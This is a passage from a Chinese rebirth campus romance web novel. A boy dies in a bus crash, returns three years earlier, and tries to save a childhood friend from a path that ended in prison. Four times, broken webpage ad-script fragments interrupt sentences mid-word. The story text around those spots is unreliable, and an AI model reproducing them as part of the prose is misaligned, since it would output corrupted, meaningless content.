《重生之守护恶女计划[校园]》 1. 冤死鬼&狱中囚? 监狱的灯光昏暗,狭小的空间显得压抑逼仄。 但即使在光线不充足的情况下,谭佳宜也肉眼可见消瘦了不少,宽大的狱服衬得她整个人更加单薄。 话筒另一头传来冷冷的声音:“她害死了我妈,不过是一命偿一命罢了。” “那也不值得用你的前程来换啊!” 玻璃另一侧的周泽楷显然情绪有点激动,声音几乎是颤抖着。 对方眼眸低垂,看不出什么情绪,只是冷笑道:“我哪有什么前程。最爱我的妈妈离开了我,虚情假意骗了我十二年的父亲对我置之不管,假惺惺的继母巴不得我消失……” 谭佳宜顿了顿,接着道:“何况我也不是什么好人,我的人生,从很早开始就糟糕透顶了。” 她说这段话的时候语气淡淡的,明明是自己亲身经历的惨痛,却平静地像是在叙述他人的故事。 周泽楷实在不忍看到谭佳宜这副模样。 往日的她,不管好与坏,都是鲜活的,是倔强的,是不服输的。 现在的她似乎放下了执念,但这般如提线木偶一样向命运妥协的样子,绝非是他想看见的。 “不是这样的,你很好,你真的很好,不管是以前的你还是现在的你,都是最好的……” 少年此刻是真的尽力在脑海里搜寻形容词了,但最后竟也只剩下这些最简单朴实的话术。 因为在他心里,她是照亮他生命的那束光,是无可比拟的最好。 谭佳宜抬起低垂的眸子,她终于开始直视眼前的少年。 她不想看见他为她而悲伤,她不值得。 “对不起。这句话我欠了你六年,今天终于说出来了。” 少女眼角似乎含着泪,却强忍着没让它流下来。 “我做了很多错事,包括伤害你的事。真的很感谢你,从来没有放弃我。把我忘了吧,你的人生一定是光明的,祝你前程似锦,万事顺遂。” 字字真心,也是字字诛心。 是祝福,也是告别。 周泽楷突然觉得如鲠在喉,竟也说不出一句话。 “我累了,在这里改造改造也挺好的。” 她说这句话时是含着笑的,目光变得澄澈干净,仿佛又回到了十二年前他见她的第一面。 还没等周泽楷回复,刚说完她便挂断了电话,两人就这么无言地对视了几秒。 明明在一个房间,但监狱的玻璃仿佛把二人分隔成两个世界,两个截然不同的世界。 一个身后是光辉灿烂的大好前程,另一个则是暗无天日的悲剧人生…… 外面的天阴沉沉的,黑云压城,寒意四起,让人一时分不清是监狱里头黑还是出来更黑。 即使是八月末,但由于汉城近日大幅降温,已经让人能够感受到秋日的凉意。 周泽楷只穿了一件单薄的短袖T恤,凉飕飕的风吹动少年的衣摆,他忍不住打了个哆嗦。 一时分不清是身体更冷还是心更冷…… 迈着沉重的步子,他浑浑噩噩地随意上了一趟公交。 他不知道去哪儿,也不知道要做什么。脑海里往日少女明媚的样子和如今少女颓废的模样重叠在一起,让他感到揪心的痛。 公交车平稳驶上大桥,这座桥是他们这边最长的跨江大桥,古朴的桥墩带着历史的沧桑,却还是难掩宽阔桥台的恢宏气势。 听老人们说,这座桥是建国初期建成的,当时条件不好,修桥时有不少人把命留在了这里。 不一会儿,车门处传来激烈的争吵声。 其实上桥前就有些苗头了,只不过周泽楷脑子嗡嗡的,又坐在最后排,压根没注意到前车的异动。 争吵声愈演愈烈,伴着窗外突然袭来的暴雨雷鸣,把周泽楷拉回了这个昏暗的现实世界。 那个乘客应该是坐过了站,如果过桥后再折回,会花费一大把时间。和司机争吵的女人显然不想这么来回折腾,急不可耐地让司机停车。 但在大桥上哪能说停就停,司机显然是不同意的。 女人只想着自己的方便,丝毫不为自己的粗心大意买单,哭着闹着,无理取闹,骂得也难听。 车上人并不多,大家也都抱着事不关己高高挂起的态度,并没有上去劝阻的,可能也以为她不过是发泄一下。 可谁曾想到,女人在自己诉求一直未得到满足时彻底失去了理智,她上前去扒司机的方向盘,司机不让,两人推推搡搡好一阵。 就在这时,方向盘被猛烈地打向一个方向,来不及修正。 这下公交车彻底失控了,如脱缰野马般偏离了原路线,一跃淹没在大江之中…… 周泽楷没反应过来,只觉命运多舛。 他和谭佳宜的一生,本都该光芒耀眼的,谁曾想一个成了大江中的冤死鬼,一个成了不见天日的狱中囚。 前世的记忆好似只是一个很长的梦,等周泽楷再睁开眼时,身上穿着陌生的蓝白校服。 他低头定睛一看,校徽上赫然写着“汉城五中”一行字! 他分明记得,自己上一世是六中的,怎么会穿着五中的校服呢? 而且现在究竟是什么时候?自己不是和公交车一起掉进江里了吗? 一连串的疑问在周泽楷脑子里炸开,还没等他捋清思绪,一扭头,便看见了黑暗巷子中的蓝发少女。 这个人太熟悉了,不管她打扮成什么样子,周泽楷都能一眼认出她。 上一世,周泽楷自从小学毕业后就没再见过谭佳宜。他们初中不在一所学校,她对他心怀怨恨,不愿见他。他对她深感抱歉,不敢找她。 因此,整整三年,二人如同两条平行线般,没了任何联系。 直到今天,也就是高中开学的第一天,这两条曾经交织的线才又在此刻开始汇合。 也是从这一天起,周泽楷才下定决心,即使不在一所高中,也要去找她。因为他不忍看到从前明媚乐观的少女变成这般模样。 刚准备朝巷子尽头走去,就看见巷子口的灰猫正机敏地扭头审视他。等他刚迈出一步,那灰猫又别过头去,接着如箭般飞快地窜了出去。 巷子尽头停着辆废旧的三轮,一旁的路灯年久失修,一闪一闪地苟延残喘着,发出微弱的光。这让少女手中的一点猩红显得尤为扎眼。 她懒散地靠在一旁,没穿校服,一身清凉的短袖短裤,也不怕墙上的油渍蹭到衣服上,只是静静地站在那儿抽烟。 周泽楷走到她面前,没有像上一世一样不可思议,也没有一把夺过她手上的烟,只是定定地看着她。 他想融入她的悲伤。 谭佳宜也没急着抬眼,似乎猜到了是他。 但她没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 料到,少年竟如此镇定。 真是奇怪,看见自己这副样子,他就不惊讶吗? 最后,还是她先沉不住气了,仰起头问他:“怎么,我第一天没去学校,你着急了?” 谭佳宜掐灭了手中的烟,眉眼微挑。 此时的谭佳宜是小学分别三年后的她,她没怎么长变,但气质却截然不同了。 是因为长高了?更瘦了?带了假发?穿了成熟的衣服? 可能都有吧。但最关键的,是她的眼神不同了。 以前是充满光彩的,现在却是冷漠凌厉的。 此时的谭佳宜同时也是监狱一面三年前的她,稚嫩的面庞上是深邃的眼神,仿佛有着无数心事,与三年后监狱里的空洞无神是大相径庭的。 这种轻蔑挑衅的语气周泽楷已经习惯了。上一世的谭佳宜在高三之前,对他也一直是这个态度。 要么玩弄他,要么把他拒之门外。 他知道她恨他,但他也知道自己其实是在充当她情绪的垃圾桶。 她想放下却又放不下,一直费劲心思地对付着那些糟心的人,反反复复,在矛盾中受尽了折磨。 周泽楷见怪不怪地顺着她的话回答:“所以你今天没去学校就是来这儿的?” 他指了指身后的小门,门旁挂着脏兮兮的牌子,上面写着不大不小的四个字“七哥网吧”。 谭佳宜拨了拨额前的刘海,死死地盯着周泽楷。两人四目相对,但少女的目光实在算不上友善。 她缓缓开口道:“是啊,真的很巧,竟然和你分到了一所高中,还是一个班。我看到你可能只是烦,但你看到我应该是害怕吧。” 她边说边靠近周泽楷,伸手捏住他的肩膀,一边有节奏地用食指在他肩膀上点着,一边在他耳边小声地说:“你说老天是在惩罚我还是惩罚你啊。毕竟是你害死了我妈妈。” 她说这句话时,指尖的力度突然加重了一下。周泽楷能够感觉到一丝疼痛在肩头散开,让人猝不及防,却也心甘情愿。 他细细地听着,其实谭佳宜其他话他并不会太往心里去,毕竟上一世她也对他说过类似的狠话。但有一点他却听得很清楚,那就是他和她分到了一个班。 没想到自己重活一世,竟然会有不一样的命运,那是不是也预示着会有不一样的结局? 上一世,他在六中,她在五中,两所学校旗鼓相当,生源平均分配。 虽然谭佳宜私下看上去像混迹社会的不良少女,但摘下假发,穿上校服,一下子又变回了老师眼中的好好学生,同学眼中的高冷学霸。 她的另一面不为外人所知,藏得很深。 周泽楷之前觉得她就好像披着大红袍的狼一样,压抑着自己内心滋生的坏与恶。 可能就是在不同学校的缘故,周泽楷上一世花了两年才开始慢慢打开她的心房。他以为她放下执念了,愿意去重新相信这个世界的善意时,悲剧还是发生了…… 所以,这一世他和她同校,有更多和她接触的机会。最重要的是,他知道当年的真相,他可以提前告诉她,让她不要再重蹈覆辙。 只不过当年的事情比较复杂,具体情况他也不是很了解,他只知道她的继母程婉乔是害死她母亲的罪魁祸首。 所以,贸然告诉谭佳宜这一切她肯定无法相信,这件事还得从长计议。 2. 发小&凶手 谭佳宜说完,也没想等周泽楷的反应,转身便要走进身后的网吧。 少女走得干净利落,丝毫没有在意刚刚被她威胁了一番的少年。谁曾想他虽然缄默不语,但实际却是个行动派。 谭佳宜感受到手腕上一阵温热,周泽楷一把拉住了她。 “现在不早了,能不去吗?班主任说明天要开学考。” 谭佳宜没料到周泽楷会搬出考试这套来压她,他怎么知道自己对于学业仍是看重的。这种一看就不是什么好学生的打扮,怎么会有人觉得她是在意学习的。 既然他猜透了她的心思,她就偏偏不按他的套路出牌。 “所以呢?明天考试我会去,但今天网吧我也要来。”谭佳宜一边转头说着,一边用力挣脱周泽楷的束缚。 谁曾想周泽楷非但没松开,握着的力道反而加重了。他用近乎乞求的语气继续说着:“回去吧,这儿不适合你。” 两人拉拉扯扯一阵,谁也没有退一步的打算。 就在他俩陷入僵局时,巷子里突然走过来几个人,领头的是一个个子高挑的年轻人,他一把拽开了周泽楷紧握的手,把谭佳宜往自己身旁带了带。 男生个子很高,和周泽楷差不多,但不同于周泽楷的冷白皮,他的皮肤呈现天然的小麦色,即使很瘦却仍然显得很有力量。最富有标志的是他眼角下的一道疤,很典型的斜十字形,不算大,却有点深,可想而知并不是什么轻微的划痕。 这个人周泽楷再熟悉不过了,他就是这家网吧的老板,江湖人称七哥。他好像比他们大三岁,今年也不过刚满十八。只是由于早早就辍学了,便也早早褪去了学生的稚气。 周泽楷不知道谭佳宜是怎么认识他的,只知道七哥对谭佳宜一直很照顾。 后来,在他们高三的最后一个学期,由于忙于学业,和七哥的联系也就减少了。 在高考前一个月,周泽楷和谭佳宜又去网吧找过一次七哥,谁曾想网吧拆了,七哥也找不到人了。当时谭佳宜还特别着急,特意去找了七哥的朋友胖虎,他只说七哥是由于债务问题暂时去别处避避风头。 尽管谭佳宜还是不放心,但转身又收到了七哥报平安的短信,也是一样的理由,还让她好好准备高考。 直到高考结束后,他们才知道,七哥是被佳行律所起诉盗取商业机密,而佳行律所的负责人就是谭佳宜的父亲谭墨行。 事情发生后,谭佳宜也没有再主动提起过七哥,当时周泽楷虽然对这件事很惊讶,但也没把这件事往谭佳宜身上想。只是如今重活一世,见证过谭佳宜入狱后,他觉得自己或许应该重新认识一下七哥,没准儿当年他的事有什么隐情呢? 而且他冥冥之中总有种预感,谭佳宜当时肯定知道点什么,他和七哥的关系绝非表面看到的那么简单。 “你谁啊?没看到她不愿意吗?”男生的声音有些沙哑,却仍然给人一种压迫感。 只不过他也算棋逢对手,周泽楷也不是什么好说话的人。 “我是她发小,我想问问你是谁啊?和她认识了多久啊?” 周泽楷开门见山,一针见血地把认识时间这一套搬出来,毕竟他和白依依认识得比他早,这是客观事实。 “弟弟,我看你还穿着五中的校服呢。看来学习成绩不错。但脑子还是不太灵光,与人交往有时并不是看先来后到的。关键的不是谁先认识,而是她现在认谁。我只知道,她现在不想见你。” 七哥话音刚落,周泽楷也不愿落了下风,又辩驳道:“我脑子或许是不太灵光,毕竟我没法做别人肚子里的蛔虫,揣测不了别人的心思。当事人也没明确表态,她的想法不用他人来说吧。” 霎时间,两人剑拔弩张,争锋相对。空气中弥漫着浓重的火药味,仿佛一点就炸。 谭佳宜实在没有想到,短短三年,周泽楷竟然也这么会怼人了,在她的印象里,他还是之前那个内向封闭的小孩儿呢。 “他说得对,我最不想看见的就是你。”谭佳宜朝前上了一步,一字一句地把答案告诉了周泽楷,说到“你”的时候还故意加重了语音。 其实周泽楷早就料到了谭佳宜是这个态度,毕竟现在是她最不待见他的时候。不过既然之后在一所学校,周泽楷也做好了打持久战的准备。 话音刚落,谭佳宜转头就走,这一次周泽楷拦不住她,七哥挡在了他面前。 周泽楷想着自己不妨再死皮赖脸一点,没准儿能加速前世的进程,早点告诉谭佳宜真相,避免前世的悲剧。 他侧身偏过头,往里面大喊一声:“你今天不见也没事儿,咱们明天见。” 网吧里的光线不比外面亮多少,除去电脑的亮光,室内的灯光和外面路灯估计也差不多亮。 谭佳宜背对七哥,随意找了个机位坐下,又懒懒散散地掏出一根烟在手里转着,和转笔的手法有点相似。 “刚才那小子真是你发小?”七哥站在她身后的柜台旁,一边修理一个坏掉的主机,一边漫不经心地问道。 谭佳宜也没有隐瞒,直接实话实说:“是,但他更是害死我妈妈的凶手。” 七哥拿起子的动作顿了一下,他原以为谭佳宜只是讨厌刚才那个死缠烂打的小白脸,没想到他们间竟有如此深仇大恨。 “他和你妈妈的死有关?” “妈妈是被天文馆的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 钢筋模型砸死的,当时他就站在模型下,妈妈为了救他把他推开了,自己却倒在了钢筋之下。” 谭佳宜说到妈妈的时候,眼神中还是不自觉闪出一丝泪花。即使过去了这么久,她还是不能释怀。她现在也不敢去母亲的排位前看看,这是她不愿接受的痛,是她永恒的伤疤。 “那你恨他吗?” “当然,就像你恨你爸一样。但我除了恨他,我还有更恨的人。” 谭佳宜眼里的泪花像是有什么装置自动控制一样,上一秒提到妈妈时还可见泪光闪闪,下一秒就能敛去眼底的悲伤,剩下的仅是刀剑般的寒光。 七哥看着少女单薄的背影,坐在那里把玩着烟,竟有几分不属于这个年龄的深沉和沧桑。他干脆放下手中的主机板,绕过柜台走到她身边,夺过她手上的烟,又把旁边的烟盒拿了过来。 谭佳宜觉得他今天也是挺奇怪的,又是和周泽楷杠上,又是来收自己的烟,他平时可都不屑于管这些事儿的。 “怎么,你是没钱买烟了,还要来夺我的?”她打趣着说。 七哥也被她逗笑了,缓缓开口道:“你这个年纪,还是别抽的好。吸烟有害健康,纸壳子上写着呢。”他又掏出烟盒,点了点上面惯有的一行标语。 “他都没管我抽不抽烟,你什么时候管这么宽了?再说了,谁烟瘾比得过你。”她一边说,一边打算趁他不注意把烟盒抢过去,谁知他像是早就猜到她会耍这种小聪明一样,一个收手,烟盒就揣进了裤兜。 “我毕竟成年了嘛。”他有些得意地望着刚刚扑了个空的少女,但神色却有些黯淡。 她没指明“他”是谁,但七哥猜得到“他”说的就是刚才门口的那个男生。他忽然有些明白那个人在她心中的地位,可能是有恨的,但除了恨或许还有些其它复杂的感情…… 谭佳宜也没恼,而是像突然想起什么一样,赶紧说道:“也就刚成年一天。对了,昨天是你生日吧,生日快乐啊,礼物改天给你补上。” “行啊,你包十八天电费就行。”七哥顺水推舟道,又转身回了柜台,不自觉地勾了勾嘴角,黯淡的神色也有了几分光彩。 “那不行,去年你十七岁,我包了十七天电费,今年好歹你成年,我怎么说也得包一个月。” “好啊,那可要让谭大小姐破费了。” 七哥答应的也是爽快,但他其实也不是真的图她那点钱。他知道她家境优渥,不缺钱,但她愿意将钱挥霍到他这儿,一方面是因为网吧给她提供了一个庇护所。另一方面,则是因为他们俩都承受着失去母亲的痛苦,都经历着不幸的家庭,都在蛰伏着,密谋着一些不为人知的报复计划…… 3. 面馆&日记本 周泽楷从昏暗的巷子中走出来,那只灰猫早已在巷口恭候多时,估计是刚才在暗处仔细观察过他一番,混了个面熟,现在也不会见到他就立马跑开了。 城市的街道灯红酒绿,各式霓虹灯璀璨夺目,简直和刚才昏暗的小巷不是一番光景。 酒吧在他家和五中的中间,离他家估计坐车也还需要二十多分钟。他记得最开始和谭佳宜是住在一个小区的,那儿离五中倒是挺近的。 小学毕业后,两家人由于谭佳宜妈妈的意外闹得有点不愉快,纷纷搬了家。只不过原本的房子也一直空着,没准儿他爸妈会让他搬过来住。 周泽楷站在公交站台一边等车一边思索着,这时,手机突然响了一声,屏幕亮起,弹出一则消息。 竟然是父亲,周志刚什么时候开始挂念起他这个儿子来了,周泽楷疑惑地点开消息栏。 “这个点应该放学了吧,你自己在那边怎么样?” 那边是哪边?不会已经搬过去了吧。没想到自己的父母还真是“贴心”啊,一开学就把他送出家门。 周泽楷估摸着和自己原来的猜想应该是一样的,顺势回复“挺好的,你们放心吧。” 又想加一句“妈和妹妹也都还好吧”,但刚打到“妹妹”时,周泽楷的手顿了顿,随即立马删掉了多余的话,点了发送。 妹妹啊,从小被视为掌声明珠,集全家宠爱于一身,哪有不好的时候。 周泽楷把手机揣进兜里,从公交站离开,朝反方向走去。他想着干脆走回去算了,也不过半个小时左右的路程,顺便好好欣赏一下三年前的夜景,毕竟好不容易有一次回到过去的机会呢。 2015年的汉城相较三年后,其实没有太大的变化。跨江大桥在夜晚被点亮,无论是昔日还是今朝,乃至三年后的未来,都是那么恢弘壮丽,俨然是这座城当之无愧的地标。只不过对于刚死里逃生的周泽楷来说,这座桥还多了一分危险和可怖。 在往远处望去,大桥旁正在修一座新桥。现在还在打地基阶段,完全看不出桥的形态,谁能想到三年后这座桥就已经开始川流不息,成为另一个交通要道。 要说有什么不一样的,可能是城市的气质有所改变吧。现在的汉城路边摊还是随处可见,到处弥漫着烟火气息,他记得小时候家里人觉得这些不卫生,不让他吃,还是谭佳宜偷偷带他来吃过几次。 回家的路说长不长,说短不短。但注意力被周遭的风景吸引过去,不知不觉便走到了小区门口。 门口有家不起眼的面馆,店面很小,陈设老旧,却因老板是个讲究人而收拾得干净整洁。 周泽楷看了一眼腕表,现在已经将近晚上十点了,但小店却还没有打烊。 他其实不是很饿,但还是不自觉地走了进去。 店内这会儿没人,老板仍旧热情地招呼他坐下。暖黄的灯光映照着菜单,竟有几分家里都没有的温馨。他点了份惯常吃的清汤小面,后面的煮面机器便又开始轰隆隆地运作起来。 面煮好后端上来,他平时是从来不吃葱和香菜的,但今天竟也想加一些试试。 周泽楷小时候不理解做菜为什么要放这些浇头,又不怎么吃,而且闻起来味儿怪大的。所以他总是对这些东西带着不小的偏见。但今天试了试,发现加了葱和香菜的面果然增添了几分别样的滋味,周泽楷刚开始有些吃不惯,却还是细细品味着。 这原来就是她喜欢吃的味道。 隔着小面腾起的热气,周泽楷仿佛看见对面坐着两个熟悉的身影。一个小女孩儿碗里面加满了葱和香菜,夹起来正要往他碗里放,一旁的女人赶忙阻止道:“人家都说不吃啦,我们也不能勉强,要尊重每个人的口味差异,你好好吃就行啦。” 女孩儿似乎有些不服气,一边把碗里的小料和面搅和到一起,一边遗憾地说:“唉,那他要错过好吃的了,加葱和香菜多香啊。” 面开始凉下来,热气渐渐消散开,对面两把椅子孤零零的,面馆里还是只有他一个吃面的人。 小学的时候,周泽楷的父亲忙于工作,母亲又要接送妹妹上幼儿园,晚上放学后常常落周泽楷一个人。谭佳宜的妈妈白言清下班后便经常接他俩一起回来,来不及做饭的时候就会带他们俩来这儿吃碗面。这儿的面劲道,汤香浓,又比较清淡,对两个吃不了辣的孩子来说特别适合。 当时也是因为这个原因,两家关系挺不错的,周志刚还去谭家专门道谢过几次。 虽然周泽楷的母亲江一宁每次看儿子吃完才回来时都会阴阳怪气地说:哎呀,自己的儿子真是白养了,和别人的母亲比和自己母亲还亲。 周志刚偶尔让她少说几句,毕竟也是谭佳宜的妈妈热心,才愿意帮忙照顾周泽楷。 最开始周泽楷还会因为母亲的话拒绝白言清的好意,之后他也习惯母亲的酸言酸语了,不管江一宁怎么说,还是照常和谭佳宜一起回家,有时还一起吃饭。毕竟这哪里是他不想和江一宁亲近,而是她不想并且也没工夫把心思放在自己身上。但凡她分一丝对周心雨的宠爱给自己,也不至于这个样子。 吃完面,周泽楷回到自己那个三年没回的家,准确来说是六年,加上上一世被分到六中的三年,当时是周志刚他们住在一起的。 宽敞的三居室一个人住确实绰绰有余,他平时吃食堂,也不用在这边做饭,晚上也就回来睡个觉,估计就用得上一间房间。 他走进自己原来的房间,坐到书桌前,身体往后一靠,想到之后不用像上一世一样继续和江一宁住在一起,便也觉得轻松了不少。 虽然改变谭佳宜的道路道阻且长,但好在现在和她在一个学校,接触的机会更多,总会有办法的。 突然瞥见书桌角落的屉子上插着一把锁,周泽楷想着估计是自己忘记拔了。就在他把钥匙的一瞬间,力度稍微大了些,屉子也往外滑开,露出一本蓝色的笔记本。 周泽楷把笔记本拿出来,没记错的话,这是他小学时候的日记本。当时他还是那个内向不爱说话的小男孩儿,所以有什么心事都会往日记本上写。 他缓缓翻开封面,纸张质量倒是不错,直到现在都没怎么泛黄,只是上面青涩的字迹出卖了它的年纪。 第一页上便发出了小时候周泽楷一直没想通的疑问:妈妈为什么会讨厌我,却那么喜欢妹妹呢? 显然现在的周泽楷心中早已有了答案。 他的母亲江一宁因为家里的公司出了问题,外公急于找一个有实力的靠山,就把女儿嫁给了当时年轻有为的周志刚。那年周志刚29岁,但江一宁只有19岁,前脚还是江家的小公主,后脚就要嫁为人妇,这对于当时年纪还小的江一宁来说,实在有些难以接受。 第二年,江一宁便怀上了周泽楷,当时的江一宁只觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得自己都还是个孩子,哪里承担的起做母亲的责任。加上怀孕时期反应大,难受,最后还差点难产死去,因此,江一宁便把所有遭的罪都怪在周泽楷身上。 但是岁月总是会把人的一些脾性消磨掉,四年后,尽管江一宁也还年轻,却也慢慢开始接受自己作为妻子,作为母亲的角色。 那一年,他们家迎来了周心雨的降生,这次生产可谓十分顺利,在周志刚的保驾护航下,江一宁也没遭什么罪,自然欢喜这个可爱的小姑娘的到来。 周志刚看江一宁喜欢,也就更心爱这个小女儿些。可以说,从出生开始,在父母那儿的印象分就已经打出来了,只是他们家的两个孩子,分数是天壤之别罢了。 周泽楷往后翻着,日记本的前几页几乎都在倾诉父母是如何不重视自己,如何偏爱妹妹。得了奖状是没人夸奖的,考了高分是没人鼓励的,有什么好吃的、好玩儿的,也都是先想着妹妹的,就连学校汇演,也是没有家长出席的。周泽楷彻底成了家里的透明人,成了无人问津的孩子。 但是不知道从哪一页开始,日记本上多了一个名字,那就是—— “谭佳宜”! 今天,没人来给我开家长会,我感觉同学们都在看我笑话,但有个女生,她竟然说我们是亲戚,我妈妈有事,让她妈妈是代我妈妈来的。 我之后问她怎么知道我们是亲戚,她竟然说同班同学都是一家人。她怎么能乱认亲戚啊! 老师最近把我们俩调成了同桌,我竟然才发现她和我住一个小区。爸爸妈妈今天有事,叫我自己回去,我们顺路,就一起回家了。 这还是我第一次和别人一起回家呢。 我今天终于会写她的名字了,是谭佳宜,有点难写,但很好听。 今天做眼保健操的时候我发现她的睫毛好长,眼睛也好漂亮。还好我反应得快,她睁开眼的时候没有发现我。 今天下雨了,我的鞋都湿透了,我不喜欢下雨天。但谭佳宜给了我一颗糖,真的好甜,她说吃了糖马上雨就会停。 放学后,雨真的停了,她是预言家吗? 谭佳宜今天对我说,我永远不会被抛弃,是真的吗? 日记一页一页往后翻动着,无数美好的回忆如潮水般在周泽楷的脑海中翻涌,谭佳宜就好似冬日里的太阳,一点一点照亮了蜷缩在寒冷角落里的周泽楷。 不过美好终究有破灭的一天,不知不觉还是到了最后一页。日期定格在2012年5月31日,也就是她妈妈出事的前一天。 白阿姨是天文馆副馆长,六一那天他们去天文馆参观,白阿姨还很耐心地给他们讲解了天文知识。 周泽楷合上日记本,上一世他不知道真相,只想着要是那天没去天文馆,要是当时自己没有站在那个有问题的模型下面,会不会有不一样的结局? 但谁曾想到这不只是偶然发生的天灾,而是故意为之的人祸。 现在他只是觉得命运弄人,老天有时就是这么不公平。白阿姨那么好的人生命却是如此短暂,而害死她的人却还好好的活着,享受着本就不属于她的一切。 周泽楷长叹一口气,他顿时觉得自己肩上的担子重了几分。他不仅要让白阿姨沉冤得雪,让坏人得到应有的报应,还要让她的女儿能好好地活着,走出上一代人的恩怨。 他想,这肯定也是白阿姨愿意看到的。 4. 初次捉弄 九月的第二天,尚有暑气还未消散,一大早上,太阳便着急忙慌地出来和大家打招呼。 周泽楷今天早早地就起来了,一是脑子里装的信息太多,前世今生的事情搅得他睡不着,二是他也打算早点去学校看看,毕竟是陌生的环境,昨天开学第一天他就算人到了,但穿过来时候已经不在学校了,自然是没了那部分的记忆。 五中作为百年老校,虽然期间翻新扩建过一次,但也是二十多年前的事情了,反正现在看来,是一副典型的老校区模样。说的好听点是历史悠久,有文化底蕴,说的难听点就是破破烂烂的。 他突然想起来上一世自己在六中,好歹还赶上了新校区搬迁,这五中什么时候也考虑借鉴一下兄弟学校“豪气”的做派。 周泽楷其实并不确定自己在哪个栋教学楼,也不清楚自己在几班,但总感觉有种特殊的感觉,指引着他朝一个方向前进。 他突然联想到有些穿越中的惯常套路:系统! 只不过他这个系统可能是无声的。 爬了两层楼梯到三楼,周泽楷往里又穿过了两个班级,在第三个班级前停住了脚步。 他抬头看了看班牌“高一十一班”,门上还贴着班级名单,不用找就是这里了,因为他的名字就在第一个,而他下面一个名字是——“谭佳宜”。 走进教室,他环顾了一圈,大家的座位上都排放着个人物品,还没发书,有些座位便提前支起了书立,挂起了书袋,还有些同学把书包直接大喇喇地放在桌子上。 好在刚开学,东西都不算太多,空旷的教室倒也还显得宽敞。 周泽楷往后排扫了一眼,他眼睛尖,一下子就看到了一个熟悉的书包,即使塞在抽屉里,也还是没逃过他的法眼。 这是他上一世的书包。 他打开书包,里面散出几本练习册,侧边注明“周泽楷”,看来他两世不仅挑座位的喜好没变,就连书包也没换呢。 教室里桌子是两两并着,算作一列,一列是一大组,一共四大组。周泽楷的座位在第二大组的最后一排,不过他旁边的位子是空着的,而教室里除了他没同桌之外,第三大组最后一排的某位也没有同桌,他想着谭佳宜昨天没来,今天来估计也只能这两个位置二选一了吧。 到时候他提前和旁边的这位打好招呼,谭佳宜也就只能选他旁边的位置了,这倒是个不错的主意。 趁没人的时候,周泽楷翻了一下隔壁桌子上放着的练习册,不幸的是这些练习册竟然都没写名字。 周泽楷又往后翻了翻,更让人惊讶的是,整本习题册几乎都做完了,还有些零星的改错痕迹。字迹是典型的行楷,倒和自己的字很是相似。看来这人暑假下了大功夫,把高一的内容都掌握得差不多了。 就在周泽楷正在心中感叹着这个好学生的勤快时,教室后门口突然响起了脚步声,还没等他把书合上归位,脚步声就赶到了他跟前,一声不冷不淡的话音落在耳畔。 “三年不见,你本事见长啊,现在都会主动翻别人东西了。” 周泽楷自认为自己平时是个比较冷静的人,遇到突发状况不至于太慌乱。 但当这个熟悉的声音这么真切地呈现出来时,他放书的手还是抖了一下,啪的一声,书掉在了地上。 他慌忙蹲下准备捡书,没想到对方先他一步拾起了地上的书。两人蹲下的一瞬,挨得很近,周泽楷可以很明显地感受到谭佳宜气息,一股熟悉的清香扑面而来,之前他只觉好闻,但现在竟有些喘不上气儿。 她今天摘了蓝色假发,黑色高马尾从肩头垂至胸前,穿着和他一样的蓝白校服,领口扣得严严实实,领子也打理得整整齐齐,和昨日的叛逆少女形象简直是天壤之别。 两人抬头的瞬间,视线交汇,她的眸子是清亮的,却带着半分疏离,另外半分周泽楷根据当下的情况推测,可能是“杀气”。 只是她的杀气在他眼里实在没什么震慑力,不管她怎样裹满荆棘,怎样浑身是刺儿,他都会不顾一切地去靠近她。 两人几乎同步起身,谭佳宜拍了拍书上的灰,像是刚抓包了学生的教导主任般,居高临下地盯着周泽楷。 “好巧啊,我以为你还没占座儿呢,没想到你就做我旁边。”周泽楷略显局促地讪讪一笑。 谭佳宜很是严谨,立马纠正道:“谁做你旁边了,我们之间隔了两个座位加一条走道。”一边说一边把书往另一侧的位子推了推。 谁料周泽楷也顺势把书包往另一侧一移,接着说道:“距离是还有点儿,但空气我就忽略不计了。” 谭佳宜真是开了眼界,没见过这么不要脸的,不受待见还上赶着凑过来。她不想再理会他,白了他一眼便准备走。 “不做同桌也没关系。我知道现在我如果把包放你旁边那桌,你没准儿会把我的包扔出去。但来日方长,抬头不见低头见,还请谭同学多多指教。” 谭佳宜走到门口的脚步顿了顿,心想:还挺了解我的,那我可要好好指教一下你。 过了一会儿,班上的同学也陆陆续续地到班了,周泽楷看到一张张熟悉的面孔又出现在自己面前,刚才走进来的那个女生好像是白依依吧,但和她一起进来的那个男生倒是没什么印象。 周泽楷又认真打量了一番班上的每个人,发现这个班的重合度和前世在六中的没有百分之百,也有百分之九十五了。除了刚才那个男生,就还剩另一个女生和谭佳宜不是他原来班上的。 这简直是一个稀奇事儿,周泽楷一时也搞不清楚为什么会是这样一个安排。 班主任是个年轻男人,叫王亚楠,体型修长,面容清秀,自带书卷气,却是教数学的。他大概讲了一下考试的注意事项,又把考场名单贴到了最前面的公告栏上。 五中的开学考只考一天,而且只考语数外物,上午语文,下午数学物理,晚上英语,四门课把一天排的满满当当。 不愧是理科强校,一上来就让大家感受到了学校重理轻文的风气,连开学考也不带其它文科玩儿呢。 周泽楷扫了一眼考场名单,到没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么规律,应该是全校打乱。但巧就巧在他和谭佳宜竟然分到了一个考场,而且考场号是连着的,不出所料应该是前后桌。 他想到今天早晨才和谭佳宜交涉过一番,就是场面不太好看,这紧接着又碰上不知道是好事还是坏事。 周泽楷回位收拾考试的物品,旁边的谭佳宜恰好也在收拾。他抬眸瞥了她两眼,少女神态自若,正专注地换笔芯,一个眼神都没给他。 他猜不透她的心思,却还是试探性地朝她说了声:“我俩今天在一个考场。” 说出去的话如石沉大海,没了回响。谭佳宜仍旧专注地收着自己的文具,像是没听到一样,眼皮儿都没抬一下。 周泽楷其实也有心理准备,现在的她,在那样的家庭熬了三年,千疮百孔的心灵被仇恨填充着,不理会他也正常。 进了考场,他和谭佳宜果然是前后桌,谭佳宜坐他前面,一个是靠窗倒数第二排,一个是靠窗最后一排。 